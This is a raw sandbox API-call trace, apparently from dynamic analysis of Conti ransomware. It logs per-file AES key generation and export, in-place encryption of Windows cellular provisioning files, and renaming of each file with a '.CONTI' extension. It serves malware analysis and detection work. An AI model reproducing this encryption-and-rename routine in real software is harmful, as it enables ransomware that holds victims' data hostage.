	[0112.361] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.361] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.361] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\529__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.362] GetProcessHeap () returned 0x1720000
	[0112.362] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0112.362] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0112.362] GetProcessHeap () returned 0x1720000
	[0112.362] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818b40 | out: hHeap=0x1720000) returned 1
	[0112.362] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0112.362] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b2e28 | out: phKey=0x65b2e28*=0x17c8330) returned 1
	[0112.363] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b2e2c, pdwDataLen=0x59bf7d4 | out: pbData=0x65b2e2c*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0112.364] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.365] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4
	[0112.816] GetLastError () returned 0x0
	[0112.816] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=768) returned 1
	[0112.816] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x300
	[0112.816] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.816] SetEndOfFile (hFile=0x3f4) returned 1
	[0112.835] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.835] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.836] WriteFile (in: hFile=0x3f4, lpBuffer=0x65b2e2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b2e2c*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.837] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.837] ReadFile (in: hFile=0x3f4, lpBuffer=0x11200000, nNumberOfBytesToRead=0x300, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x300, lpOverlapped=0x0) returned 1
	[0112.837] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x300, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x310) returned 1
	[0112.837] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.837] WriteFile (in: hFile=0x3f4, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x310, lpOverlapped=0x0) returned 1
	[0112.837] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.837] WriteFile (in: hFile=0x3f4, lpBuffer=0x65b2e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b2e20*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0112.837] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.838] CloseHandle (hObject=0x3f4) returned 1
	[0112.838] GetProcessHeap () returned 0x1720000
	[0112.838] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.205] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0113.205] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.205] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\530__Connections_Cellular_Axis (Indonesia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\530__connections_cellular_axis (indonesia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.205] GetProcessHeap () returned 0x1720000
	[0113.205] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.205] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0113.205] GetProcessHeap () returned 0x1720000
	[0113.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1809dc0 | out: hHeap=0x1720000) returned 1
	[0113.206] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.206] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b52a8 | out: phKey=0x65b52a8*=0x17c85b0) returned 1
	[0113.206] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b52ac, pdwDataLen=0x59bf7d4 | out: pbData=0x65b52ac*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.206] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.207] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.207] GetLastError () returned 0x0
	[0113.207] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=779) returned 1
	[0113.207] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x30b
	[0113.207] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.207] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.207] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.207] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.207] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b52ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b52ac*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.213] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.213] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x30b, lpOverlapped=0x0) returned 1
	[0113.214] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x30b, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x310) returned 1
	[0113.214] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.214] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x310, lpOverlapped=0x0) returned 1
	[0113.214] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.214] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b52a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b52a0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.214] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.214] CloseHandle (hObject=0x3e0) returned 1
	[0113.214] GetProcessHeap () returned 0x1720000
	[0113.214] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.214] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml"
	[0113.214] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.214] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\569__Connections_Cellular_TELEKOM.RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\569__connections_cellular_telekom.ro (romania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.215] GetProcessHeap () returned 0x1720000
	[0113.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.215] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0113.215] GetProcessHeap () returned 0x1720000
	[0113.215] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bd30 | out: hHeap=0x1720000) returned 1
	[0113.215] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.215] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b5e10 | out: phKey=0x65b5e10*=0x17c82b0) returned 1
	[0113.215] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b5e14, pdwDataLen=0x59bf7d4 | out: pbData=0x65b5e14*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.216] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.216] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.216] GetLastError () returned 0x0
	[0113.216] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=892) returned 1
	[0113.216] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37c
	[0113.217] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.217] SetEndOfFile (hFile=0x3e0) returned 1
	[0113.217] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.217] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.217] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b5e14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65b5e14*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.223] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.223] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x37c, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x37c, lpOverlapped=0x0) returned 1
	[0113.223] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x37c, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x380) returned 1
	[0113.223] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.223] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x380, lpOverlapped=0x0) returned 1
	[0113.223] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.223] WriteFile (in: hFile=0x3e0, lpBuffer=0x65b5e08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65b5e08*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0113.223] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.223] CloseHandle (hObject=0x3e0) returned 1
	[0113.224] GetProcessHeap () returned 0x1720000
	[0113.224] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b63508
	[0113.224] lstrcpyW (in: lpString1=0x6b63508, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml"
	[0113.224] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.224] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\570__Connections_Cellular_TELEKOM.RO (Romania)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\570__connections_cellular_telekom.ro (romania)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.225] GetProcessHeap () returned 0x1720000
	[0113.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b63508 | out: hHeap=0x1720000) returned 1
	[0113.225] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0113.225] GetProcessHeap () returned 0x1720000
	[0113.225] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b88b0 | out: hHeap=0x1720000) returned 1
	[0113.225] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0113.225] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65b44f8 | out: phKey=0x65b44f8*=0x17c7ff0) returned 1
	[0113.225] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b44fc, pdwDataLen=0x59bf7d4 | out: pbData=0x65b44fc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0113.225] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.226] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\572__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\572__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0113.226] GetLastError () returned 0x0
	[0113.226] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=704) returned 1
	[0113.226] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
